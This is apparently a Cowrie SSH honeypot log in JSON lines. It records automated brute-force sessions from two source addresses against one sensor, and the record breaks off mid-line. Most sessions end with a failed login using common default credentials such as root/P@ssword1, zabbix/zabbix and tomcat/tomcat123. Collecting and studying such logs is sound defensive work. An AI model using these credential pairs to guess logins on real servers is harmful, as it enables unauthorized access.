{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58950,"dst_ip":"159.203.135.109","dst_port":22,"session":"32dfb5d3aaf0","protocol":"ssh","message":"New connection: 192.109.200.78:58950 (159.203.135.109:22) [session: 32dfb5d3aaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:40.267159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:40.272998Z","src_ip":"192.109.200.78","session":"32dfb5d3aaf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:40.354848Z","src_ip":"192.109.200.78","session":"32dfb5d3aaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:40.482335Z","src_ip":"176.65.139.95","session":"1b4423efe42f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:40.600637Z","src_ip":"192.109.200.78","session":"32dfb5d3aaf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:41.571666Z","src_ip":"176.65.139.95","session":"1b4423efe42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:41.687127Z","src_ip":"192.109.200.78","session":"32dfb5d3aaf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58956,"dst_ip":"159.203.135.109","dst_port":22,"session":"d847d21213ac","protocol":"ssh","message":"New connection: 192.109.200.78:58956 (159.203.135.109:22) [session: d847d21213ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:44.248018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:44.252435Z","src_ip":"192.109.200.78","session":"d847d21213ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:44.351603Z","src_ip":"192.109.200.78","session":"d847d21213ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:44.773946Z","src_ip":"192.109.200.78","session":"d847d21213ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:45.859967Z","src_ip":"192.109.200.78","session":"d847d21213ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48010,"dst_ip":"159.203.135.109","dst_port":22,"session":"4503036df082","protocol":"ssh","message":"New connection: 176.65.139.95:48010 (159.203.135.109:22) [session: 4503036df082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:46.934580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:46.939670Z","src_ip":"176.65.139.95","session":"4503036df082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:47.025294Z","src_ip":"176.65.139.95","session":"4503036df082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:47.281959Z","src_ip":"176.65.139.95","session":"4503036df082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56230,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3d8a92874fe","protocol":"ssh","message":"New connection: 192.109.200.78:56230 (159.203.135.109:22) [session: d3d8a92874fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:48.306276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:48.314536Z","src_ip":"192.109.200.78","session":"d3d8a92874fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:48.372014Z","src_ip":"176.65.139.95","session":"4503036df082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:48.400316Z","src_ip":"192.109.200.78","session":"d3d8a92874fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:48.664861Z","src_ip":"192.109.200.78","session":"d3d8a92874fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:49.751640Z","src_ip":"192.109.200.78","session":"d3d8a92874fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56232,"dst_ip":"159.203.135.109","dst_port":22,"session":"74e0609dfa2c","protocol":"ssh","message":"New connection: 192.109.200.78:56232 (159.203.135.109:22) [session: 74e0609dfa2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:52.322287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:52.327246Z","src_ip":"192.109.200.78","session":"74e0609dfa2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:52.412074Z","src_ip":"192.109.200.78","session":"74e0609dfa2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:52.794438Z","src_ip":"192.109.200.78","session":"74e0609dfa2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43542,"dst_ip":"159.203.135.109","dst_port":22,"session":"43456cc3e2f9","protocol":"ssh","message":"New connection: 176.65.139.95:43542 (159.203.135.109:22) [session: 43456cc3e2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:53.455143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:53.474090Z","src_ip":"176.65.139.95","session":"43456cc3e2f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:53.543076Z","src_ip":"176.65.139.95","session":"43456cc3e2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:53.888263Z","src_ip":"192.109.200.78","session":"74e0609dfa2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:54.063700Z","src_ip":"176.65.139.95","session":"43456cc3e2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:55.152657Z","src_ip":"176.65.139.95","session":"43456cc3e2f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56244,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d90755c3630","protocol":"ssh","message":"New connection: 192.109.200.78:56244 (159.203.135.109:22) [session: 7d90755c3630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:56.254953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:56.260052Z","src_ip":"192.109.200.78","session":"7d90755c3630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:56.342106Z","src_ip":"192.109.200.78","session":"7d90755c3630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:56.593652Z","src_ip":"192.109.200.78","session":"7d90755c3630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:57.802168Z","src_ip":"192.109.200.78","session":"7d90755c3630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47086,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c30c133a5fa","protocol":"ssh","message":"New connection: 192.109.200.78:47086 (159.203.135.109:22) [session: 5c30c133a5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.230458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.238569Z","src_ip":"192.109.200.78","session":"5c30c133a5fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.322751Z","src_ip":"192.109.200.78","session":"5c30c133a5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56732,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb47e9675509","protocol":"ssh","message":"New connection: 176.65.139.95:56732 (159.203.135.109:22) [session: eb47e9675509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.335532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.345794Z","src_ip":"176.65.139.95","session":"eb47e9675509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp38